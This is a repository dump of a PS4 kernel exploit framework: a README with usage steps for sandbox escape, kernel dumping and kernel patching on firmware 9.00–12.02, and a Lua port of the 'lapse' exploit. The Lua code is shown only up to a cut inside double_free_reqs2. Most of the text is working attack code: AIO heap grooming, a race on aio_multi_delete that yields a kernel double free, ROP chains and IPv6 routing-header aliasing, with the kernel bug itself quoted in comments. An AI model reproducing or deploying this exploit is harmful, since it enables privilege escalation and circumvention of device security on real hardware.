├── kpatch └── 1100.bin ├── README.md └── lapse.lua /kpatch/1100.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/egycnq/LUA-Lapse/HEAD/kpatch/1100.bin -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LUA+Lapse - PS4 Post-Exploitation Framework 2 | 3 | A fork of [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader) with advanced post-exploitation capabilities for PS4 firmware 11.00 and 12.02. 4 | 5 | > ⚠️ **DISCLAIMER**: This project is for educational and research purposes only. Use at your own risk. 6 | 7 | > 💡 **Note**: If you do not want to dump your kernel, just do not insert a USB device and you can use this exploit for full FTP access only. 8 | 9 | ## 🎯 What We've Achieved 10 | 11 | This project implements several advanced kernel exploitation techniques: 12 | 13 | ### 1. **Sandbox Escape** 🔓 14 | 15 | - Breaks out of the PS4's BSD jail restriction 16 | - Grants root filesystem access 17 | - Modifies process credentials to achieve elevated privileges 18 | - Enables access to previously restricted system areas 19 | 20 | ### 2. **Kernel Base (KBASE) Discovery** 🔍 21 | 22 | - Implements both static and dynamic methods to find kernel base address 23 | - Uses EVF (Event Flag) string leak for KBASE calculation 24 | 25 | ### 3. **Kernel ELF Dumper** 💾 26 | 27 | - Dumps the entire PS4 kernel to USB storage 28 | - Supports large kernel dumps with progress tracking 29 | - Implements chunked reading (16KB blocks) for stability 30 | - Includes real-time progress notifications 31 | 32 | ### 4. **Full FTP Access** 📁 33 | 34 | - After running this exploit, the game process is jailbroken 35 | - You can use `ftp_server.lua` from the original remote_lua_loader repo 36 | - Provides full filesystem access via FTP 37 | - No more restrictions on file browsing and transfers 38 | 39 | ### 5. **Kernel Patching (11.00)** 🔧 **[NEW]** 40 | 41 | - ✅ Memory operation patches (bcopy, bzero, memcpy, etc.) 42 | - ✅ Syscall validation bypass 43 | - ✅ sys_setuid privilege escalation 44 | - ✅ vm_map_protect for RWX mappings 45 | - ✅ sys_dynlib_dlsym with additional patches 46 | - ✅ sys_kexec creation on syscall 11 47 | - ✅ sys_mmap RWX protections 48 | 49 | ## 📊 Supported Firmware 50 | 51 | | Firmware | Status | 52 | | -------- | --------- | 53 | | 12.02 | ✅ Tested | 54 | | 11.00 | ✅ Tested | 55 | | 9.00 |✅ Tested | 56 | 57 | "Thanks to n0llptr for adding 9.00 offsets" 58 | 59 | > 🚧 **Work in Progress** 60 | 61 | ## 🎮 How to Use 62 | 63 | ### Prerequisites 64 | 65 | 1. **A PS4 with supported firmware** 66 | 2. **A supported LUA game** (see [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader) for list) 67 | 3. **Remote LUA Loader** setup on your PC 68 | 69 | ### Steps 70 | 71 | 1. Follow the setup instructions from [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader) 72 | 2. Launch your LUA-supported game on PS4 73 | 3. Connect using the remote_lua_loader on your PC 74 | 4. Send our modified `lapse.lua` file to your PS4 75 | 5. The exploit will run automatically 76 | 77 | ### After Exploitation 78 | 79 | - Your game process is now jailbroken 80 | - You can send `ftp_server.lua` from the original repo for full FTP access 81 | - USB kernel dumps will be saved to `/mnt/usb0/kernel.elf` 82 | 83 | ## 🔧 Technical Details 84 | 85 | ### EVF (Event Flag) Constant 86 | 87 | The EVF constant is a kernel string that can be leaked through various vulnerabilities. We use this leak to calculate the kernel base address: 88 | 89 | ``` 90 | KBASE = leaked_evf_pointer - firmware_specific_evf_offset 91 | ``` 92 | 93 | ### Finding KBASE for Other Firmwares 94 | 95 | The code includes a brute-force scanner that: 96 | 97 | 1. Aligns addresses to page boundaries (0x1000) 98 | 2. Scans backwards from the leaked pointer 99 | 3. Validates findings using: 100 | - ELF header magic bytes 101 | - Target ID validation 102 | 103 | ### Sandbox Escape Process 104 | 105 | 1. **Credential Modification**: Zeros out uid/gid fields in `p_ucred` 106 | 2. **Jail Breaking**: Updates process prison pointer to `prison0` 107 | 3. **Root Access**: Replaces jail/root directory vnodes with system root vnode 108 | 109 | ## 🚀 Features 110 | 111 | - **Automatic Firmware Detection**: Detects running firmware and applies appropriate offsets 112 | - **Robust Error Handling**: Validates operations at each step 113 | - **Progress Notifications**: Real-time updates during kernel dumping 114 | - **USB Dump Support**: Saves kernel dump to `/mnt/usb0/kernel.elf` 115 | - **FTP Compatibility**: Jailbroken process allows full FTP server functionality 116 | 117 | ## This project demonstrates: 118 | 119 | - Kernel memory manipulation techniques 120 | - Process privilege escalation methods 121 | - ELF format parsing and validation 122 | - Memory scanning algorithms 123 | - Filesystem jailbreak techniques 124 | 125 | ## ⚡ Technical Implementation 126 | 127 | ### Key Functions 128 | 129 | 1. **`calculate_kbase()`** - Static KBASE calculation using known offsets 130 | 2. **`find_kbase()`** - Dynamic KBASE discovery with validation 131 | 3. **`escape_sandbox()`** - Implements the jailbreak sequence 132 | 4. **`dump_kernel_elf()`** - Handles kernel dumping with progress tracking 133 | 5. **`get_kernel_elf_size()`** - Parses ELF headers to determine dump size 134 | 135 | ### Memory Layout Understanding 136 | 137 | The exploit relies on understanding PS4's kernel memory layout: 138 | 139 | - Process structures (`curproc`) 140 | - Credential structures (`ucred`) 141 | - File descriptor tables 142 | - Vnode references 143 | 144 | ## ⚠️ Important Notes 145 | 146 | - **USB Required**: Kernel dumping requires a FAT32/exFAT formatted USB drive 147 | - **Stability**: This is experimental code - expect potential crashes 148 | 149 | ## 📝 Credits 150 | 151 | - Original [remote_lua_loader](https://github.com/shahrilnet/remote_lua_loader) by shahrilnet 152 | - flatz 153 | - null_ptr 154 | - specter 155 | - chendo 156 | - EchoStretch 157 | - al-azif 158 | - SonicPs 159 | - and Everyone who contributed offset documentation 160 | 161 | ## 📜 License 162 | 163 | This project is provided as-is for educational purposes. See the original remote_lua_loader repository for base licensing terms. 164 | -------------------------------------------------------------------------------- /lapse.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | Copyright (C) 2025 anonymous 3 | 4 | This file `lapse.lua` contains a derivative work of `lapse.mjs`, 5 | which originally is a part of PSFree. 6 | 7 | Source: https://github.com/shahrilnet/remote_lua_loader/blob/main/payloads/psfree-1.5rc1.7z 8 | 9 | This program is free software: you can redistribute it and/or modify 10 | it under the terms of the GNU Affero General Public License as 11 | published by the Free Software Foundation, either version 3 of the 12 | License, or (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, 15 | but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | GNU Affero General Public License for more details. 18 | 19 | You should have received a copy of the GNU Affero General Public License 20 | along with this program. If not, see . 21 | ]] 22 | 23 | 24 | 25 | -- configuration 26 | 27 | MAIN_CORE = 4 28 | MAIN_RTPRIO = 0x100 29 | 30 | NUM_WORKERS = 2 31 | NUM_GROOMS = 0x200 32 | NUM_HANDLES = 0x100 33 | NUM_RACES = 100 34 | NUM_SDS = 64 35 | NUM_SDS_ALT = 48 36 | NUM_ALIAS = 100 37 | LEAK_LEN = 16 38 | NUM_LEAKS = 16 39 | NUM_CLOBBERS = 8 40 | 41 | 42 | 43 | 44 | syscall.resolve({ 45 | unlink = 0xa, 46 | 47 | socket = 0x61, 48 | connect = 0x62, 49 | bind = 0x68, 50 | setsockopt = 0x69, 51 | listen = 0x6a, 52 | 53 | getsockopt = 0x76, 54 | socketpair = 0x87, 55 | thr_self = 0x1b0, 56 | thr_exit = 0x1af, 57 | sched_yield = 0x14b, 58 | thr_new = 0x1c7, 59 | cpuset_getaffinity = 0x1e7, 60 | cpuset_setaffinity = 0x1e8, 61 | rtprio_thread = 0x1d2, 62 | 63 | evf_create = 0x21a, 64 | evf_delete = 0x21b, 65 | evf_set = 0x220, 66 | evf_clear = 0x221, 67 | 68 | thr_suspend_ucontext = 0x278, 69 | thr_resume_ucontext = 0x279, 70 | 71 | aio_multi_delete = 0x296, 72 | aio_multi_wait = 0x297, 73 | aio_multi_poll = 0x298, 74 | aio_multi_cancel = 0x29a, 75 | aio_submit_cmd = 0x29d, 76 | }) 77 | 78 | 79 | 80 | -- misc functions 81 | 82 | function wait_for(addr, threshold) 83 | while memory.read_qword(addr):tonumber() ~= threshold do 84 | sleep(1, "ns") 85 | end 86 | end 87 | 88 | 89 | 90 | 91 | -- cpu related functions 92 | 93 | function pin_to_core(core) 94 | local level = 3 95 | local which = 1 96 | local id = -1 97 | local setsize = 0x10 98 | local mask = memory.alloc(0x10) 99 | memory.write_word(mask, bit32.lshift(1, core)) 100 | return syscall.cpuset_setaffinity(level, which, id, setsize, mask) 101 | end 102 | 103 | function get_core_index(mask_addr) 104 | local num = memory.read_dword(mask_addr):tonumber() 105 | local position = 0 106 | while num > 0 do 107 | num = bit32.rshift(num, 1) 108 | position = position + 1 109 | end 110 | return position - 1 111 | end 112 | 113 | function get_current_core() 114 | local level = 3 115 | local which = 1 116 | local id = -1 117 | local setsize = 0x10 118 | local mask = memory.alloc(0x10) 119 | syscall.cpuset_getaffinity(level, which, id, 0x10, mask) 120 | return get_core_index(mask) 121 | end 122 | 123 | function rtprio(type, prio) 124 | local PRI_REALTIME = 2 125 | local rtprio = memory.alloc(0x4) 126 | memory.write_word(rtprio, PRI_REALTIME) 127 | memory.write_word(rtprio + 0x2, prio or 0) -- current_prio 128 | syscall.rtprio_thread(type, 0, rtprio):tonumber() 129 | if type == RTP_LOOKUP then 130 | return memory.read_word(rtprio + 0x2):tonumber() -- current_prio 131 | end 132 | end 133 | 134 | function set_rtprio(prio) 135 | rtprio(RTP_SET, prio) 136 | end 137 | 138 | function get_rtprio() 139 | return rtprio(RTP_LOOKUP) 140 | end 141 | 142 | 143 | 144 | 145 | -- rop functions 146 | 147 | function rop_get_current_core(chain, mask) 148 | local level = 3 149 | local which = 1 150 | local id = -1 151 | chain:push_syscall(syscall.cpuset_getaffinity, level, which, id, 0x10, mask) 152 | end 153 | 154 | function rop_pin_to_core(chain, core) 155 | local level = 3 156 | local which = 1 157 | local id = -1 158 | local setsize = 0x10 159 | local mask = memory.alloc(0x10) 160 | memory.write_word(mask, bit32.lshift(1, core)) 161 | chain:push_syscall(syscall.cpuset_setaffinity, level, which, id, setsize, mask) 162 | end 163 | 164 | function rop_set_rtprio(chain, prio) 165 | local PRI_REALTIME = 2 166 | local rtprio = memory.alloc(0x4) 167 | memory.write_word(rtprio, PRI_REALTIME) 168 | memory.write_word(rtprio + 0x2, prio) 169 | chain:push_syscall(syscall.rtprio_thread, 1, 0, rtprio) 170 | end 171 | 172 | 173 | 174 | 175 | -- 176 | -- primitive thread class 177 | -- 178 | -- use thr_new to spawn new thread 179 | -- 180 | -- only bare syscalls are supported. any attempt to call into few libc 181 | -- fns (such as printf/puts) will result in a crash 182 | -- 183 | 184 | prim_thread = {} 185 | prim_thread.__index = prim_thread 186 | 187 | function prim_thread.init() 188 | 189 | local setjmp = fcall(libc_addrofs.setjmp) 190 | local jmpbuf = memory.alloc(0x60) 191 | 192 | -- get existing regs state 193 | setjmp(jmpbuf) 194 | 195 | prim_thread.fpu_ctrl_value = memory.read_dword(jmpbuf + 0x40) 196 | prim_thread.mxcsr_value = memory.read_dword(jmpbuf + 0x44) 197 | 198 | prim_thread.initialized = true 199 | end 200 | 201 | function prim_thread:prepare_structure() 202 | 203 | local jmpbuf = memory.alloc(0x60) 204 | 205 | -- skeleton jmpbuf 206 | memory.write_qword(jmpbuf, gadgets["ret"]) -- ret addr 207 | memory.write_qword(jmpbuf + 0x10, self.chain.stack_base) -- rsp - pivot to ropchain 208 | memory.write_dword(jmpbuf + 0x40, prim_thread.fpu_ctrl_value) -- fpu control word 209 | memory.write_dword(jmpbuf + 0x44, prim_thread.mxcsr_value) -- mxcsr 210 | 211 | -- prep structure for thr_new 212 | 213 | local stack_size = 0x400 214 | local tls_size = 0x40 215 | 216 | self.thr_new_args = memory.alloc(0x80) 217 | self.tid_addr = memory.alloc(0x8) 218 | 219 | local cpid = memory.alloc(0x8) 220 | local stack = memory.alloc(stack_size) 221 | local tls = memory.alloc(tls_size) 222 | 223 | memory.write_qword(self.thr_new_args, libc_addrofs.longjmp) -- fn 224 | memory.write_qword(self.thr_new_args + 0x8, jmpbuf) -- arg 225 | memory.write_qword(self.thr_new_args + 0x10, stack) 226 | memory.write_qword(self.thr_new_args + 0x18, stack_size) 227 | memory.write_qword(self.thr_new_args + 0x20, tls) 228 | memory.write_qword(self.thr_new_args + 0x28, tls_size) 229 | memory.write_qword(self.thr_new_args + 0x30, self.tid_addr) -- child pid 230 | memory.write_qword(self.thr_new_args + 0x38, cpid) -- parent tid 231 | 232 | self.ready = true 233 | end 234 | 235 | 236 | function prim_thread:new(chain) 237 | 238 | if not prim_thread.initialized then 239 | prim_thread.init() 240 | end 241 | 242 | if not chain.stack_base then 243 | error("`chain` argument must be a ropchain() object") 244 | end 245 | 246 | -- exit ropchain once finished 247 | chain:push_syscall(syscall.thr_exit, 0) 248 | 249 | local self = setmetatable({}, prim_thread) 250 | 251 | self.chain = chain 252 | 253 | return self 254 | end 255 | 256 | -- run ropchain in primitive thread 257 | function prim_thread:run() 258 | 259 | if not self.ready then 260 | self:prepare_structure() 261 | end 262 | 263 | -- spawn new thread 264 | if syscall.thr_new(self.thr_new_args, 0x68):tonumber() == -1 then 265 | error("thr_new() error: " .. get_error_string()) 266 | end 267 | 268 | self.ready = false 269 | self.tid = memory.read_qword(self.tid_addr):tonumber() 270 | 271 | return self.tid 272 | end 273 | 274 | 275 | -- sys/socket.h 276 | AF_UNIX = 1 277 | AF_INET = 2 278 | AF_INET6 = 28 279 | SOCK_STREAM = 1 280 | SOCK_DGRAM = 2 281 | SOL_SOCKET = 0xffff 282 | SO_REUSEADDR = 4 283 | SO_LINGER = 0x80 284 | 285 | -- netinet/in.h 286 | IPPROTO_TCP = 6 287 | IPPROTO_UDP = 17 288 | IPPROTO_IPV6 = 41 289 | INADDR_ANY = 0 290 | 291 | -- netinet/tcp.h 292 | TCP_INFO = 0x20 293 | size_tcp_info = 0xec 294 | 295 | -- netinet/tcp_fsm.h 296 | TCPS_ESTABLISHED = 4 297 | 298 | -- netinet6/in6.h 299 | IPV6_2292PKTOPTIONS = 25 300 | IPV6_PKTINFO = 46 301 | IPV6_NEXTHOP = 48 302 | IPV6_RTHDR = 51 303 | IPV6_TCLASS = 61 304 | 305 | -- sys/cpuset.h 306 | CPU_LEVEL_WHICH = 3 307 | CPU_WHICH_TID = 1 308 | 309 | -- sys/mman.h 310 | MAP_SHARED = 1 311 | MAP_FIXED = 0x10 312 | 313 | -- sys/rtprio.h 314 | RTP_SET = 1 315 | RTP_PRIO_REALTIME = 2 316 | 317 | 318 | -- 319 | 320 | AIO_CMD_READ = 1 321 | AIO_CMD_WRITE = 2 322 | AIO_CMD_FLAG_MULTI = 0x1000 323 | AIO_CMD_MULTI_READ = bit32.bor(AIO_CMD_FLAG_MULTI, AIO_CMD_READ) 324 | AIO_STATE_COMPLETE = 3 325 | AIO_STATE_ABORTED = 4 326 | 327 | -- max number of requests that can be created/polled/canceled/deleted/waited 328 | MAX_AIO_IDS = 0x80 329 | 330 | -- the various SceAIO syscalls that copies out errors/states will not check if 331 | -- the address is NULL and will return EFAULT. this dummy buffer will serve as 332 | -- the default argument so users don't need to specify one 333 | AIO_ERRORS = memory.alloc(4 * MAX_AIO_IDS) 334 | 335 | 336 | SCE_KERNEL_ERROR_ESRCH = 0x80020003 337 | 338 | 339 | -- multi aio related functions 340 | 341 | 342 | -- int aio_submit_cmd( 343 | -- u_int cmd, 344 | -- SceKernelAioRWRequest reqs[], 345 | -- u_int num_reqs, 346 | -- u_int prio, 347 | -- SceKernelAioSubmitId ids[] 348 | -- ); 349 | function aio_submit_cmd(cmd, reqs, num_reqs, ids) 350 | local ret = syscall.aio_submit_cmd(cmd, reqs, num_reqs, 3, ids):tonumber() 351 | if ret == -1 then 352 | error("aio_submit_cmd() error: " .. get_error_string()) 353 | end 354 | return ret 355 | end 356 | 357 | -- int aio_multi_delete( 358 | -- SceKernelAioSubmitId ids[], 359 | -- u_int num_ids, 360 | -- int sce_errors[] 361 | -- ); 362 | function aio_multi_delete(ids, num_ids, states) 363 | states = states or AIO_ERRORS 364 | local ret = syscall.aio_multi_delete(ids, num_ids, states):tonumber() 365 | if ret == -1 then 366 | error("aio_multi_delete() error: " .. get_error_string()) 367 | end 368 | return ret 369 | end 370 | 371 | -- int aio_multi_poll( 372 | -- SceKernelAioSubmitId ids[], 373 | -- u_int num_ids, 374 | -- int states[] 375 | -- ); 376 | function aio_multi_poll(ids, num_ids, states) 377 | states = states or AIO_ERRORS 378 | local ret = syscall.aio_multi_poll(ids, num_ids, states):tonumber() 379 | if ret == -1 then 380 | error("aio_multi_poll() error: " .. get_error_string()) 381 | end 382 | return ret 383 | end 384 | 385 | -- int aio_multi_cancel( 386 | -- SceKernelAioSubmitId ids[], 387 | -- u_int num_ids, 388 | -- int states[] 389 | -- ); 390 | function aio_multi_cancel(ids, num_ids, states) 391 | states = states or AIO_ERRORS 392 | local ret = syscall.aio_multi_cancel(ids, num_ids, states):tonumber() 393 | if ret == -1 then 394 | error("aio_multi_cancel() error: " .. get_error_string()) 395 | end 396 | return ret 397 | end 398 | 399 | -- int aio_multi_wait( 400 | -- SceKernelAioSubmitId ids[], 401 | -- u_int num_ids, 402 | -- int states[], 403 | -- // SCE_KERNEL_AIO_WAIT_* 404 | -- uint32_t mode, 405 | -- useconds_t *timeout 406 | -- ); 407 | function aio_multi_wait(ids, num_ids, states, mode, timeout) 408 | 409 | states = states or AIO_ERRORS 410 | mode = mode or 1 411 | timeout = timeout or 0 412 | 413 | local ret = syscall.aio_multi_wait(ids, num_ids, states, mode, timeout):tonumber() 414 | if ret == -1 then 415 | error("aio_multi_wait() error: " .. get_error_string()) 416 | end 417 | return ret 418 | end 419 | 420 | function new_socket() 421 | local sd = syscall.socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP):tonumber() 422 | if sd == -1 then 423 | error("new_socket() error: " .. get_error_string()) 424 | end 425 | return sd 426 | end 427 | 428 | function new_tcp_socket() 429 | local sd = syscall.socket(AF_INET, SOCK_STREAM, 0):tonumber() 430 | if sd == -1 then 431 | error("new_tcp_socket() error: " .. get_error_string()) 432 | end 433 | return sd 434 | end 435 | 436 | function ssockopt(sd, level, optname, optval, optlen) 437 | if syscall.setsockopt(sd, level, optname, optval, optlen):tonumber() == -1 then 438 | error("setsockopt() error: " .. get_error_string()) 439 | end 440 | end 441 | 442 | function gsockopt(sd, level, optname, optval, optlen) 443 | local size = memory.alloc(8) 444 | memory.write_dword(size, optlen) 445 | if syscall.getsockopt(sd, level, optname, optval, size):tonumber() == -1 then 446 | error("getsockopt() error: " .. get_error_string()) 447 | end 448 | return memory.read_dword(size):tonumber() 449 | end 450 | 451 | function make_reqs1(num_reqs) 452 | local reqs1 = memory.alloc(0x28 * num_reqs) 453 | for i=0,num_reqs-1 do 454 | memory.write_dword(reqs1 + i*0x28 + 0x20, -1) -- fd 455 | end 456 | return reqs1 457 | end 458 | 459 | function spray_aio(loops, reqs1, num_reqs, ids, multi, cmd) 460 | 461 | loops = loops or 1 462 | cmd = cmd or AIO_CMD_READ 463 | if multi == nil then multi = true end 464 | 465 | local step = 4 * (multi and num_reqs or 1) 466 | cmd = bit32.bor(cmd, (multi and AIO_CMD_FLAG_MULTI or 0)) 467 | 468 | for i=0, loops-1 do 469 | aio_submit_cmd(cmd, reqs1, num_reqs, ids + (i * step)) 470 | end 471 | end 472 | 473 | function cancel_aios(ids, num_ids) 474 | 475 | local len = MAX_AIO_IDS 476 | local rem = num_ids % len 477 | local num_batches = (num_ids - rem) / len 478 | 479 | for i=0, num_batches-1 do 480 | aio_multi_cancel(ids + (i*4*len), len) 481 | end 482 | 483 | if rem > 0 then 484 | aio_multi_cancel(ids + (num_batches*4*len), rem) 485 | end 486 | end 487 | 488 | function free_aios(ids, num_ids, do_cancel) 489 | 490 | if do_cancel == nil then do_cancel = true end 491 | 492 | local len = MAX_AIO_IDS 493 | local rem = num_ids % len 494 | local num_batches = (num_ids - rem) / len 495 | 496 | for i=0, num_batches-1 do 497 | local addr = ids + (i*4*len) 498 | if do_cancel then 499 | aio_multi_cancel(addr, len) 500 | end 501 | aio_multi_poll(addr, len) 502 | aio_multi_delete(addr, len) 503 | end 504 | 505 | if rem > 0 then 506 | local addr = ids + (num_batches*4*len) 507 | if do_cancel then 508 | aio_multi_cancel(addr, len) 509 | end 510 | aio_multi_poll(addr, len) 511 | aio_multi_delete(addr, len) 512 | end 513 | end 514 | 515 | function free_aios2(ids, num_ids) 516 | free_aios(ids, num_ids, false) 517 | end 518 | 519 | 520 | 521 | -- exploit related functions 522 | 523 | function setup(block_fd) 524 | 525 | -- 1. block AIO 526 | 527 | -- this part will block the worker threads from processing entries so that we may cancel them instead. 528 | -- this is to work around the fact that aio_worker_entry2() will fdrop() the file associated with the aio_entry on ps5. 529 | -- we want aio_multi_delete() to call fdrop() 530 | 531 | local reqs1 = memory.alloc(0x28 * NUM_WORKERS) 532 | local block_id = memory.alloc(4) 533 | 534 | for i=0,NUM_WORKERS-1 do 535 | memory.write_dword(reqs1 + i*0x28 + 8, 1) -- nbyte 536 | memory.write_dword(reqs1 + i*0x28 + 0x20, block_fd) -- fd 537 | end 538 | 539 | aio_submit_cmd(AIO_CMD_READ, reqs1, NUM_WORKERS, block_id) 540 | 541 | -- 2. heap grooming 542 | 543 | -- chosen to maximize the number of 0x80 malloc allocs per submission 544 | local num_reqs = 3 545 | local groom_ids = memory.alloc(4 * NUM_GROOMS) 546 | local greqs = make_reqs1(num_reqs) 547 | 548 | -- allocate enough so that we start allocating from a newly created slab 549 | spray_aio(NUM_GROOMS, greqs, num_reqs, groom_ids, false) 550 | cancel_aios(groom_ids, NUM_GROOMS) 551 | 552 | return block_id, groom_ids 553 | end 554 | 555 | pipe_buf = memory.alloc(8) 556 | ready_signal = memory.alloc(0x8) 557 | deletion_signal = memory.alloc(0x8) 558 | 559 | function reset_race_state() 560 | 561 | -- clean up race states 562 | memory.write_qword(ready_signal, 0) 563 | memory.write_qword(deletion_signal, 0) 564 | end 565 | 566 | function prepare_aio_multi_delete_rop(request_addr, sce_errs, pipe_read_fd) 567 | 568 | local chain = ropchain() 569 | 570 | -- set worker thread core to be the same as main thread core so they 571 | -- will use similar per-cpu freelist bucket 572 | rop_pin_to_core(chain, MAIN_CORE) 573 | rop_set_rtprio(chain, MAIN_RTPRIO) 574 | 575 | -- mark thread as ready 576 | chain:push_write_qword_memory(ready_signal, 1) 577 | 578 | -- this will block the thread until it is signalled to run 579 | chain:push_syscall(syscall.read, pipe_read_fd, pipe_buf, 1) 580 | 581 | -- do the deletion op 582 | chain:push_syscall(syscall.aio_multi_delete, request_addr, 1, sce_errs+4) 583 | 584 | -- mark deletion as finished 585 | chain:push_write_qword_memory(deletion_signal, 1) 586 | 587 | return chain 588 | end 589 | 590 | 591 | -- summary of the bug at aio_multi_delete(): 592 | -- 593 | -- void free_queue_entry(struct aio_entry *reqs2) 594 | -- { 595 | -- if (reqs2->ar2_spinfo != NULL) { 596 | -- printf("[0]%s() line=%d Warning !! split info is here\n", __func__, __LINE__); 597 | -- } 598 | -- if (reqs2->ar2_file != NULL) { 599 | -- // we can potentially delay .fo_close() 600 | -- fdrop(reqs2->ar2_file, curthread); 601 | -- reqs2->ar2_file = NULL; 602 | -- } 603 | -- // can double free on reqs2 604 | -- // allocated size is 0x58 which falls onto malloc 0x80 zone 605 | -- free(reqs2, M_AIO_REQS2); 606 | -- } 607 | -- 608 | -- int _aio_multi_delete(struct thread *td, SceKernelAioSubmitId ids[], u_int num_ids, int sce_errors[]) 609 | -- { 610 | -- // ... 611 | -- struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry); 612 | -- // ... 613 | -- u_int rem_ids = obj->ao_rem_ids; 614 | -- if (rem_ids != 1) { 615 | -- // BUG: wlock not acquired on this path 616 | -- obj->ao_rem_ids = --rem_ids; 617 | -- // ... 618 | -- free_queue_entry(obj->ao_entries[req_idx]); 619 | -- // the race can crash because of a NULL dereference since this path 620 | -- // doesn't check if the array slot is NULL so we delay 621 | -- // free_queue_entry() 622 | -- obj->ao_entries[req_idx] = NULL; 623 | -- } else { 624 | -- // ... 625 | -- } 626 | -- // ... 627 | -- } 628 | function race_one(request_addr, tcp_sd, sds) 629 | 630 | reset_race_state() 631 | 632 | local sce_errs = memory.alloc(8) 633 | memory.write_dword(sce_errs, -1) 634 | memory.write_dword(sce_errs+4, -1) 635 | 636 | local pipe_read_fd, pipe_write_fd = create_pipe() 637 | 638 | -- prepare ropchain to race for aio_multi_delete 639 | local delete_chain = prepare_aio_multi_delete_rop(request_addr, sce_errs, pipe_read_fd) 640 | 641 | -- spawn worker thread 642 | local thr = prim_thread:new(delete_chain) 643 | local thr_tid = thr:run() 644 | 645 | -- wait for the worker thread to ready 646 | wait_for(ready_signal, 1) 647 | 648 | local suspend_chain = ropchain() 649 | 650 | -- notify worker thread to resume 651 | suspend_chain:push_syscall(syscall.write, pipe_write_fd, pipe_buf, 1) 652 | 653 | -- yield and hope the scheduler runs the worker next. 654 | -- the worker will then sleep at soclose() and hopefully we run next 655 | suspend_chain:push_syscall(syscall.sched_yield) 656 | 657 | -- if we get here and the worker hasn't been reran then we can delay the 658 | -- worker's execution of soclose() indefinitely 659 | suspend_chain:push_syscall_with_ret(syscall.thr_suspend_ucontext, thr_tid) 660 | 661 | suspend_chain:restore_through_longjmp() 662 | suspend_chain:execute_through_coroutine() 663 | 664 | local suspend_res = memory.read_qword(suspend_chain.retval_addr[1]):tonumber() 665 | 666 | -- local suspend_res = syscall.thr_suspend_ucontext(thr_tid):tonumber() 667 | printf("suspend %s: %d", hex(thr_tid), suspend_res) 668 | 669 | local poll_err = memory.alloc(4) 670 | aio_multi_poll(request_addr, 1, poll_err) 671 | local poll_res = memory.read_dword(poll_err):tonumber() 672 | printf("poll: %s", hex(poll_res)) 673 | 674 | local info_buf = memory.alloc(0x100) 675 | local info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf, 0x100) 676 | 677 | if info_size ~= size_tcp_info then 678 | printf("info size isn't " .. size_tcp_info .. ": " .. info_size) 679 | end 680 | 681 | local tcp_state = memory.read_byte(info_buf):tonumber() 682 | print("tcp state: " .. hex(tcp_state)) 683 | 684 | local won_race = false 685 | 686 | -- to win, must make sure that poll_res == 0x10003/0x10004 and tcp_state == 5 687 | if poll_res ~= SCE_KERNEL_ERROR_ESRCH and tcp_state ~= TCPS_ESTABLISHED then 688 | -- PANIC: double free on the 0x80 malloc zone. 689 | -- important kernel data may alias 690 | aio_multi_delete(request_addr, 1, sce_errs) 691 | won_race = true 692 | end 693 | 694 | -- resume the worker thread 695 | local resume = syscall.thr_resume_ucontext(thr_tid):tonumber() 696 | printf("resume %s: %d", hex(thr_tid), resume) 697 | 698 | wait_for(deletion_signal, 1) 699 | 700 | if won_race then 701 | 702 | local err_main_thr = memory.read_dword(sce_errs) 703 | local err_worker_thr = memory.read_dword(sce_errs+4) 704 | printf("sce_errs: %s %s", hex(err_main_thr), hex(err_worker_thr)) 705 | 706 | -- if the code has no bugs then this isn't possible but we keep the check for easier debugging 707 | -- NOTE: both must be equal 0 for the double free to works 708 | if err_main_thr ~= err_worker_thr then 709 | error("bad won") 710 | end 711 | 712 | -- RESTORE: double freed memory has been reclaimed with harmless data 713 | -- PANIC: 0x80 malloc zone pointers aliased 714 | return make_aliased_rthdrs(sds) 715 | end 716 | 717 | return nil 718 | end 719 | 720 | 721 | function build_rthdr(buf, size) 722 | 723 | local len = bit32.band( 724 | bit32.rshift(size, 3) - 1, 725 | bit32.bnot(1) 726 | ) 727 | size = bit32.lshift(len + 1, 3) 728 | 729 | memory.write_byte(buf, 0) -- ip6r_nxt 730 | memory.write_byte(buf+1, len) -- ip6r_len 731 | memory.write_byte(buf+2, 0) -- ip6r_type 732 | memory.write_byte(buf+3, bit32.rshift(len, 1)) -- ip6r_segleft 733 | 734 | return size 735 | end 736 | 737 | 738 | function get_rthdr(sd, buf, len) 739 | return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len) 740 | end 741 | 742 | function set_rthdr(sd, buf, len) 743 | ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len) 744 | end 745 | 746 | function free_rthdrs(sds) 747 | for _, sd in ipairs(sds) do 748 | ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0) 749 | end 750 | end 751 | 752 | 753 | function make_aliased_rthdrs(sds) 754 | 755 | local marker_offset = 4 756 | local size = 0x80 757 | local buf = memory.alloc(size) 758 | local rsize = build_rthdr(buf, size) 759 | 760 | for loop=1,NUM_ALIAS do 761 | 762 | for i=1, NUM_SDS do 763 | memory.write_dword(buf + marker_offset, i) 764 | set_rthdr(sds[i], buf, rsize) 765 | end 766 | 767 | for i=1, NUM_SDS do 768 | get_rthdr(sds[i], buf, size) 769 | local marker = memory.read_dword(buf + marker_offset):tonumber() 770 | -- printf("loop[%d] -- sds[%d] = %s", loop, i, hex(marker)) 771 | if marker ~= i then 772 | local sd_pair = { sds[i], sds[marker] } 773 | printf("aliased rthdrs at attempt: %d (found pair: %d %d)", loop, sd_pair[1], sd_pair[2]) 774 | table.remove(sds, marker) 775 | table.remove(sds, i) -- we're assuming marker > i, or else indexing will change 776 | free_rthdrs(sds) 777 | for i=1,2 do 778 | table.insert(sds, new_socket()) 779 | end 780 | return sd_pair 781 | end 782 | end 783 | end 784 | 785 | errorf("failed to make aliased rthdrs: size %s", hex(size)) 786 | end 787 | 788 | 789 | 790 | 791 | 792 | function double_free_reqs2(sds) 793 | 794 | -- 1. setup socket to wait for soclose 795 | 796 | local function htons(port) 797 | return 